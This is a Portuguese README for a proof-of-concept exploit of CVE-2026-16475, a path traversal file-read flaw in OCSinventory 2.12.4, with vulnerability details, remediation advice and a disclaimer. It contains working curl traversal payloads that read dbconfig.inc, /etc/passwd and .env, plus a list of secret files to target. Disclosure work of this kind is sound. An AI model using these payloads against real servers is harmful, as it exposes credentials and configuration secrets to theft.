CVE-2026-16475 - PoC de LFI no OCSinventory

Vulnerabilidade de Inclusão Local de Arquivo no OCSinventory 2.12.4

Detalhes da Vulnerabilidade

ID do CVE: CVE-2026-16475
Pontuação CVSS: 6.9 (Média)
CWE: CWE-98 (Controle Inadequado do Nome do Arquivo para Declaração Include/Require em Programa PHP)
Versão Afetada: OCSinventory 2.12.4
Status: Corrigida nas versões mais recentes

Descrição

Uma vulnerabilidade de Inclusão Local de Arquivo (LFI) existe no endpoint /ajax/teledeployoptions.php devido à sanitização inadequada do parâmetro linkedoptions antes de seu uso em uma operação dinâmica de inclusão de arquivo XML.

O endpoint foi projetado para carregar arquivos de configuração XML, mas não valida corretamente o parâmetro linkedoptions, permitindo ataques de traversal de caminho.

Um atacante remoto não autenticado pode explorar essa vulnerabilidade para:

• Incluir e acessar arquivos XML arbitrários dentro do diretório da aplicação
• Ler arquivos não XML por meio de mensagens de erro do parser XML
• Divulgar informações confidenciais sobre recursos internos da aplicação
• Enumerar arquivos do sistema e realizar identificação do sistema operacional (OS fingerprinting)

Impacto

• Confidencialidade: ALTA - Acesso a arquivos arbitrários (arquivos de configuração, código-fonte, logs, arquivos do sistema)
• Integridade: NENHUMA
• Disponibilidade: NENHUMA
• Autenticação Necessária: NÃO
• Interação do Usuário: NÃO

Uso

Pré-requisitos

pip install -r requirements.txt

Versão Python (Recomendada)

python3 exploit.py -u http://target.com -v

Opções:

• -u, --url - URL do alvo (obrigatório)
• -v, --verbose - Saída detalhada (verbose)
• -o, --output - Salvar leituras bem-sucedidas em arquivo

Exemplo:

python3 exploit.py -u http://ocs.example.com -v -o results.txt

Versão Bash

./lfi_test.sh

Edite a variável BASE_URL no script:

BASE_URL="http://target.com/ajax/teledeployoptions.php"

Alvos Enumerados

• Arquivos de configuração da aplicação (dbconfig.inc, .env, config.inc)
• Arquivos de trabalho XML (bashscriptopt, executableopt, msiapplicationopt)
• Logs do sistema (apache2, mysql, auth)
• Arquivos do sistema (/proc/, /etc/)
• Segredos da aplicação (composer, arquivos de pacotes, .htaccess)

Exemplo de Exploração

# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"

# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"

# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"

Remediação

Para Usuários:

• Atualize o OCSinventory para a versão mais recente imediatamente
• Implemente regras de WAF para bloquear padrões de traversal de diretório

Para Desenvolvedores:

• Use basename() ou funções semelhantes para evitar traversal de caminho
• Valide e sanitize todas as entradas do usuário antes de operações com arquivos
• Implemente controles de acesso adequados
• Use listas de permissão para caminhos de arquivo válidos

Referências

• Aviso do INCIBE (ES) - Autoridade oficial de coordenação do CVE
• OCS Inventory GitHub
• OWASP Path Traversal
• Definição da CWE-98

Nota: O CVE-2026-16475 é coordenado pelo INCIBE e pode ainda não estar indexado no NVD. Consulte a fonte do INCIBE para obter informações oficiais.

Legal

Apenas para Fins Educacionais e Testes Autorizados

Consulte DISCLAIMER.md para obter o aviso legal completo.

Autor

Adrián Ferrer Tarí

---

Divulgação Responsável Coordenada pelo INCIBE